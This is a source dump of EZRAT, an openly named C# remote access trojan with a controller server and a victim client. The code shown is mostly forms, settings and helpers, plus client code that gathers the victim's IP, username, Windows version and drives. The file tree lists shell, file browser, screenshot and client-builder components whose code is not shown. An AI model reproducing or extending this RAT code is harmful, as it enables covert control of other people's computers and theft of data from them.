├── EZRATServer
├── res
│ ├── UAC.png
│ ├── chat.ico
│ ├── icon.ico
│ ├── icon.ico~
│ ├── shell.ico
│ ├── sound.png
│ ├── up-50.png
│ ├── Banner.kra
│ ├── Banner.png
│ ├── Form_64.png
│ ├── build_64.ico
│ ├── build_64.png
│ ├── chat-64.png
│ ├── close_64.png
│ ├── folder.ico
│ ├── ligth_64.png
│ ├── load_64.png
│ ├── locked.png
│ ├── message.ico
│ ├── process.ico
│ ├── process.ico~
│ ├── restart.png
│ ├── settings.ico
│ ├── shell_48.png
│ ├── shutdown.png
│ ├── circle_80.png
│ ├── folder-64.png
│ ├── hacker_64.png
│ ├── load.icon.ico
│ ├── monitor_64.png
│ ├── process_64.png
│ ├── screenshot.ico
│ ├── virus_512.png
│ ├── screenshot_64.png
│ ├── tower-pc_512.png
│ ├── screenShot_100.png
│ ├── clientControl_64.png
│ └── computer_settings_64.png
├── res.H12964.kra
├── App.config
├── Properties
│ ├── Settings.settings
│ ├── Settings.Designer.cs
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ └── Resources.resx
├── Program.cs
├── Utils
│ ├── Constantes.cs
│ ├── ToolBox.cs
│ ├── ClientData.cs
│ ├── ImageContextMenu.cs
│ └── ImageContextMenu.resx
├── Forms
│ ├── SystemDetails.cs
│ ├── NameUpload.cs
│ ├── Starting.cs
│ ├── RenameFile.cs
│ ├── MessageBoxEditor.cs
│ ├── ProcessViewer.cs
│ ├── ScreenShotViewer.cs
│ ├── ShellCommand.cs
│ ├── SystemDetails.Designer.cs
│ ├── NameUpload.Designer.cs
│ ├── RenameFile.Designer.cs
│ ├── Starting.Designer.cs
│ ├── Chat.cs
│ ├── ScreenShotViewer.Designer.cs
│ ├── ShellCommand.Designer.cs
│ ├── ProcessViewer.Designer.cs
│ ├── Chat.Designer.cs
│ ├── MessageBoxEditor.Designer.cs
│ ├── Starting.resx
│ ├── NameUpload.resx
│ ├── RenameFile.resx
│ ├── ClientBuilder.cs
│ └── FileBrowser.cs
├── Network
│ └── RATClient.cs
└── EZRATServer.csproj
├── .gitignore
├── App.config
├── EZRATClient
├── App.config
├── Utils
│ ├── ToolBox.cs
│ ├── SystemInfo.cs
│ ├── Constantes.cs
│ ├── Screen.cs
│ └── SystemInfoDetails.cs
├── Properties
│ └── AssemblyInfo.cs
├── Forms
│ ├── Chat.cs
│ ├── Chat.Designer.cs
│ └── Chat.resx
├── EZRATClient.csproj
└── Core
│ ├── CommandExecutor.cs
│ └── CommandParser.cs
├── Properties
├── Settings.settings
├── Settings.Designer.cs
├── AssemblyInfo.cs
├── Resources.Designer.cs
└── Resources.resx
├── Program.cs
├── LICENSE.md
├── EZRAT.sln
├── README.md
└── EZRAT.csproj
/EZRATServer/res/UAC.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/UAC.png
--------------------------------------------------------------------------------
/EZRATServer/res/chat.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/chat.ico
--------------------------------------------------------------------------------
/EZRATServer/res/icon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/icon.ico
--------------------------------------------------------------------------------
/EZRATServer/res/icon.ico~:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/icon.ico~
--------------------------------------------------------------------------------
/EZRATServer/res/shell.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/shell.ico
--------------------------------------------------------------------------------
/EZRATServer/res/sound.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/sound.png
--------------------------------------------------------------------------------
/EZRATServer/res/up-50.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/up-50.png
--------------------------------------------------------------------------------
/EZRATServer/res.H12964.kra:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res.H12964.kra
--------------------------------------------------------------------------------
/EZRATServer/res/Banner.kra:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/Banner.kra
--------------------------------------------------------------------------------
/EZRATServer/res/Banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/Banner.png
--------------------------------------------------------------------------------
/EZRATServer/res/Form_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/Form_64.png
--------------------------------------------------------------------------------
/EZRATServer/res/build_64.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/build_64.ico
--------------------------------------------------------------------------------
/EZRATServer/res/build_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/build_64.png
--------------------------------------------------------------------------------
/EZRATServer/res/chat-64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/chat-64.png
--------------------------------------------------------------------------------
/EZRATServer/res/close_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/close_64.png
--------------------------------------------------------------------------------
/EZRATServer/res/folder.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/folder.ico
--------------------------------------------------------------------------------
/EZRATServer/res/ligth_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/ligth_64.png
--------------------------------------------------------------------------------
/EZRATServer/res/load_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/load_64.png
--------------------------------------------------------------------------------
/EZRATServer/res/locked.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/locked.png
--------------------------------------------------------------------------------
/EZRATServer/res/message.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/message.ico
--------------------------------------------------------------------------------
/EZRATServer/res/process.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/process.ico
--------------------------------------------------------------------------------
/EZRATServer/res/process.ico~:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/process.ico~
--------------------------------------------------------------------------------
/EZRATServer/res/restart.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/restart.png
--------------------------------------------------------------------------------
/EZRATServer/res/settings.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/settings.ico
--------------------------------------------------------------------------------
/EZRATServer/res/shell_48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/shell_48.png
--------------------------------------------------------------------------------
/EZRATServer/res/shutdown.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/shutdown.png
--------------------------------------------------------------------------------
/EZRATServer/res/circle_80.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/circle_80.png
--------------------------------------------------------------------------------
/EZRATServer/res/folder-64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/folder-64.png
--------------------------------------------------------------------------------
/EZRATServer/res/hacker_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/hacker_64.png
--------------------------------------------------------------------------------
/EZRATServer/res/load.icon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/load.icon.ico
--------------------------------------------------------------------------------
/EZRATServer/res/monitor_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/monitor_64.png
--------------------------------------------------------------------------------
/EZRATServer/res/process_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/process_64.png
--------------------------------------------------------------------------------
/EZRATServer/res/screenshot.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/screenshot.ico
--------------------------------------------------------------------------------
/EZRATServer/res/virus_512.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/virus_512.png
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .vs/
2 | EZRATServer/bin/
3 | EZRATServer/obj/
4 | EZRATClient/bin/
5 | EZRATClient/obj/
6 | GitImages/
7 |
--------------------------------------------------------------------------------
/EZRATServer/res/screenshot_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/screenshot_64.png
--------------------------------------------------------------------------------
/EZRATServer/res/tower-pc_512.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/tower-pc_512.png
--------------------------------------------------------------------------------
/EZRATServer/res/screenShot_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/screenShot_100.png
--------------------------------------------------------------------------------
/EZRATServer/res/clientControl_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/clientControl_64.png
--------------------------------------------------------------------------------
/EZRATServer/res/computer_settings_64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/computer_settings_64.png
--------------------------------------------------------------------------------
/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EZRATClient/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/EZRATServer/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/EZRATServer/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Threading.Tasks;
5 | using System.Windows.Forms;
6 |
7 | namespace EZRAT
8 | {
9 | static class Program
10 | {
11 | ///
12 | /// Point d'entrée principal de l'application.
13 | ///
14 | [STAThread]
15 | static void Main()
16 | {
17 | Application.EnableVisualStyles();
18 | Application.SetCompatibleTextRenderingDefault(false);
19 | Application.Run(new Server());
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/EZRATServer/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Threading.Tasks;
5 | using System.Windows.Forms;
6 | using EZRATServer;
7 |
8 | namespace EZRATServer
9 | {
10 | static class Program
11 | {
12 | ///
13 | /// Point d'entrée principal de l'application.
14 | ///
15 | [STAThread]
16 | static void Main()
17 | {
18 | Application.EnableVisualStyles();
19 | Application.SetCompatibleTextRenderingDefault(false);
20 | Application.Run(new Server());
21 | }
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/EZRATServer/Utils/Constantes.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace EZRATServer.Utils
7 | {
8 | public static class Constantes
9 | {
10 | private static string _encryptKey = "POULPE212123542345235";
11 | private static string _separator = "|";
12 | private static string _special_Separator = "¦";
13 |
14 | public static string EncryptKey { get => _encryptKey;}
15 | public static string Separator { get => _separator;}
16 | public static char SeparatorChar { get => _separator.ToCharArray()[0]; }
17 | public static string Special_Separator { get => _special_Separator; }
18 | public static char Special_SeparatorChar { get => _special_Separator.ToCharArray()[0]; }
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/SystemDetails.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace EZRATServer.Forms
11 | {
12 | public partial class SystemDetails : Form
13 | {
14 | public SystemDetails()
15 | {
16 | InitializeComponent();
17 | }
18 |
19 | public SystemDetails(string[] data)
20 | {
21 | InitializeComponent();
22 | this.UpdateData(data);
23 | }
24 |
25 | public void UpdateData(string[] data)
26 | {
27 | for (int i = 0; i < data.Length; i++)
28 | {
29 | this.lstInfos.Items.Add(data[i]);
30 | }
31 | }
32 |
33 | public void Clean()
34 | {
35 | this.lstInfos.Items.Clear();
36 | }
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/NameUpload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace EZRATServer.Forms
11 | {
12 | public partial class NameUpload : Form
13 | {
14 | public NameUpload(string oldName)
15 | {
16 | InitializeComponent();
17 | this.btnOk.Click += Validate;
18 | this.tbxName.Text = oldName.Substring(oldName.LastIndexOf("\\") + 1);
19 | }
20 |
21 | public string Dialog()
22 | {
23 | string result = string.Empty;
24 | if(this.ShowDialog() == DialogResult.OK)
25 | {
26 | result = this.tbxName.Text;
27 | }
28 | return result;
29 | }
30 |
31 | private void Validate(object sender,EventArgs e)
32 | {
33 | this.DialogResult = DialogResult.OK;
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/Starting.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using System.Windows.Forms;
10 |
11 | namespace EZRATServer.Forms
12 | {
13 | public partial class Starting : Form
14 | {
15 | int _port = 0;
16 | public Starting()
17 | {
18 | InitializeComponent();
19 | this.btnOK.Click += BtnOK;
20 | this.tbxPort.KeyPress += DetectEnter;
21 | }
22 |
23 | public int Port { get => _port; set => _port = value; }
24 |
25 | private void BtnOK(object sender,EventArgs e)
26 | {
27 | this.Port = Convert.ToInt32(this.tbxPort.Text);
28 | this.Close();
29 | }
30 | private void DetectEnter(object sender,KeyPressEventArgs key)
31 | {
32 | if ((Keys)key.KeyChar == Keys.Enter)
33 | {
34 | this.btnOK.PerformClick();
35 | }
36 | }
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Exo-poulpe
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/RenameFile.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using System.Windows.Forms;
10 |
11 | namespace EZRATServer.Forms
12 | {
13 | public partial class RenameFile : Form
14 | {
15 | private string _fileName;
16 | private string _pathFull;
17 | public string FileName
18 | {
19 | get { return _fileName; }
20 | set { _fileName = value; }
21 | }
22 |
23 | public RenameFile(string path)
24 | {
25 | InitializeComponent();
26 | _pathFull = path;
27 | this.tbxName.Text = path.Substring(path.LastIndexOf('\\') + 1);
28 | this.btnValidate.Click += ValidateName;
29 | }
30 |
31 | private void ValidateName(object sender,EventArgs e)
32 | {
33 | this.FileName = _pathFull.Substring(0, _pathFull.LastIndexOf('\\') + 1) + tbxName.Text;
34 | this.DialogResult = DialogResult.OK;
35 | this.Close();
36 | }
37 |
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace EZRAT.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/EZRATServer/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Ce code a été généré par un outil.
4 | // Version du runtime :4.0.30319.42000
5 | //
6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
7 | // le code est régénéré.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace EZRATServer.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.3.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/EZRATServer/Network/RATClient.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 | using System.Net.Sockets;
7 | using System.Net;
8 | using EZRATServer.Utils;
9 |
10 | namespace EZRATServer.Network
11 | {
12 |
13 | class RATClient : Socket
14 | {
15 |
16 |
17 | public RATClient(AddressFamily addressFamily, SocketType socketType, ProtocolType protocolType) : base(addressFamily, socketType, protocolType)
18 | {
19 | }
20 |
21 | public RATClient(SocketInformation socketInformation) : base(socketInformation)
22 | {
23 | }
24 |
25 |
26 | public bool Connected
27 | {
28 | get { return base.Connected; }
29 | }
30 |
31 | public void SendData(string data)
32 | {
33 | byte[] text = Encoding.Default.GetBytes(data);
34 | SendData(text);
35 | }
36 | public void SendData(byte[] data)
37 | {
38 | SEND:
39 | if (data != null && base.Connected)
40 | {
41 | base.Send(data);
42 | }
43 | else if (!base.Connected)
44 | {
45 | base.Bind(this.RemoteEndPoint);
46 | goto SEND;
47 | }
48 | }
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/EZRATServer/Utils/ToolBox.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Drawing;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Threading;
8 | using EZRATServer.Forms;
9 |
10 | namespace EZRATServer.Utils
11 | {
12 | public static class ToolBox
13 | {
14 | public static string ReduceByteSize(string value)
15 | {
16 | int KB = 1024;
17 | int MB = KB * KB;
18 | int GB = MB * KB;
19 | int TB = GB * KB;
20 |
21 | double tmp = Convert.ToDouble(value);
22 | double result = 0;
23 | string ResultChar = string.Empty;
24 | if (tmp < KB)
25 | {
26 | result = tmp;
27 | ResultChar = "B";
28 | }
29 | else if (tmp >= KB && tmp < MB)
30 | {
31 | result = tmp / KB;
32 | ResultChar = "KB";
33 | }
34 | else if (tmp >= MB && tmp < GB)
35 | {
36 | result = tmp / MB;
37 | ResultChar = "MB";
38 | }
39 | else if (tmp >= GB && tmp < TB)
40 | {
41 | result = (int)tmp / GB;
42 | ResultChar = "GB";
43 | }
44 | return $"{result.ToString("0.")} {ResultChar}";
45 | }
46 |
47 |
48 |
49 |
50 |
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/EZRATClient/Utils/ToolBox.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace EZRATClient.Utils
4 | {
5 | public static class ToolBox
6 | {
7 |
8 | public static string ReduceByteSize(string value)
9 | {
10 | double KB = 1024;
11 | double MB = KB * KB;
12 | double GB = MB * KB;
13 | double TB = GB * KB;
14 | double PB = TB * KB;
15 | double ZB = PB * KB;
16 |
17 | double tmp = Convert.ToDouble(value);
18 | double result = 0;
19 | string ResultChar = string.Empty;
20 | if (tmp < KB)
21 | {
22 | result = tmp;
23 | ResultChar = "B";
24 | }
25 | else if (tmp >= KB && tmp < MB)
26 | {
27 | result = tmp / KB;
28 | ResultChar = "KB";
29 | }
30 | else if (tmp >= MB && tmp < GB)
31 | {
32 | result = tmp / MB;
33 | ResultChar = "MB";
34 | }
35 | else if (tmp >= GB && tmp < TB)
36 | {
37 | result = tmp / GB;
38 | ResultChar = "GB";
39 | } else if(tmp >= TB && tmp < PB )
40 | {
41 | result = tmp / GB;
42 | ResultChar = "GB";
43 | }
44 | return $"{result.ToString("0.")} {ResultChar}";
45 | }
46 |
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/EZRATServer/Utils/ClientData.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace EZRATServer.Utils
8 | {
9 | class ClientData
10 | {
11 | // lstIP, lstName, lstUser, lstWindows, lstPing
12 | private int _row = 0;
13 | private string _ip = string.Empty;
14 | private string _name = string.Empty;
15 | private string _user = string.Empty;
16 | private string _windows = string.Empty;
17 | private string _ping = string.Empty;
18 | private string _version = string.Empty;
19 |
20 | public int Id { get => _row; set => _row = value; }
21 | public string Ip { get => _ip; set => _ip = value; }
22 | public string Name { get => _name; set => _name = value; }
23 | public string User { get => _user; set => _user = value; }
24 | public string Windows { get => _windows; set => _windows = value; }
25 | public string Version { get => _version; set => _version = value; }
26 |
27 | public ClientData(int id,string ip = "0.0.0.0",string name = "Client",string user = "Victim",string window = "Windows 10",string version = "0.1.0.0")
28 | {
29 | this.Id = id;
30 | this.Ip = ip;
31 | this.Name = name;
32 | this.User = user;
33 | this.Windows = window;
34 | this.Version = version;
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/EZRATClient/Utils/SystemInfo.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Win32;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Net;
6 | using System.Net.Sockets;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 |
10 | namespace EZRATClient.Utils
11 | {
12 | static class SystemInfo
13 | {
14 |
15 | public static string GetLocalIPAddress()
16 | {
17 | string hostName = Dns.GetHostName(); // Retrive the Name of HOST
18 | // Get the IP
19 | IPAddress[] tmp = Dns.GetHostByName(hostName).AddressList;
20 | return tmp[tmp.Length - 1].ToString();
21 | throw new Exception("No network adapters with an IPv4 address in the system!");
22 | }
23 |
24 |
25 | public static string GetWindowsVersion()
26 | {
27 | var key = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion";
28 | return Registry.LocalMachine.OpenSubKey(key).GetValue("ProductName").ToString();
29 | }
30 |
31 | public static string GetMachineName()
32 | {
33 | return Environment.MachineName;
34 | }
35 |
36 | public static string GetUserName()
37 | {
38 | return System.Security.Principal.WindowsIdentity.GetCurrent().Name;
39 | }
40 |
41 | public static string[] GetDrives()
42 | {
43 | string[] result = Environment.GetLogicalDrives();
44 | return result;
45 | }
46 |
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/MessageBoxEditor.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace EZRATServer
11 | {
12 | public partial class MessageBoxEditor : Form
13 | {
14 | Icon[] syslst = { SystemIcons.Information, SystemIcons.Error, SystemIcons.Question };
15 | public MessageBoxEditor()
16 | {
17 | InitializeComponent();
18 | this.cmbIcon.Items.AddRange(new string[] { "Informations","Error","Question" });
19 | this.cmbIcon.SelectedIndexChanged += LoadIcon;
20 | this.cmbIcon.SelectedIndex = 0;
21 | this.btnValidate.Click += Validate;
22 | }
23 |
24 | public string Dialog()
25 | {
26 | if (this.ShowDialog() == DialogResult.OK)
27 | {
28 | return $"{this.tbxTitle.Text};{this.rtbText.Text};{this.cmbIcon.SelectedIndex}";
29 | }
30 | else
31 | {
32 | return string.Empty;
33 | }
34 | }
35 |
36 | private void LoadIcon(object sender, EventArgs e)
37 | {
38 | this.pnlIcon.BackgroundImage = Bitmap.FromHicon(syslst[this.cmbIcon.SelectedIndex].Handle);
39 | }
40 |
41 | private void Validate(object sender, EventArgs e)
42 | {
43 | this.DialogResult = DialogResult.OK;
44 | }
45 |
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // Les informations générales relatives à un assembly dépendent de
6 | // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations
7 | // associées à un assembly.
8 | [assembly: AssemblyTitle("EZRAT")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("EZRAT")]
13 | [assembly: AssemblyCopyright("Copyright © 2019")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly
18 | // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de
19 | // COM, affectez la valeur true à l'attribut ComVisible sur ce type.
20 | [assembly: ComVisible(false)]
21 |
22 | // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM
23 | [assembly: Guid("ee60b0d1-7432-45a8-b250-d2455bbf4e6c")]
24 |
25 | // Les informations de version pour un assembly se composent des quatre valeurs suivantes :
26 | //
27 | // Version principale
28 | // Version secondaire
29 | // Numéro de build
30 | // Révision
31 | //
32 | // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
33 | // en utilisant '*', comme indiqué ci-dessous :
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/EZRATClient/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // Les informations générales relatives à un assembly dépendent de
6 | // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations
7 | // associées à un assembly.
8 | [assembly: AssemblyTitle("EZRATClient")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("EZRATClient")]
13 | [assembly: AssemblyCopyright("Copyright © 2019")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
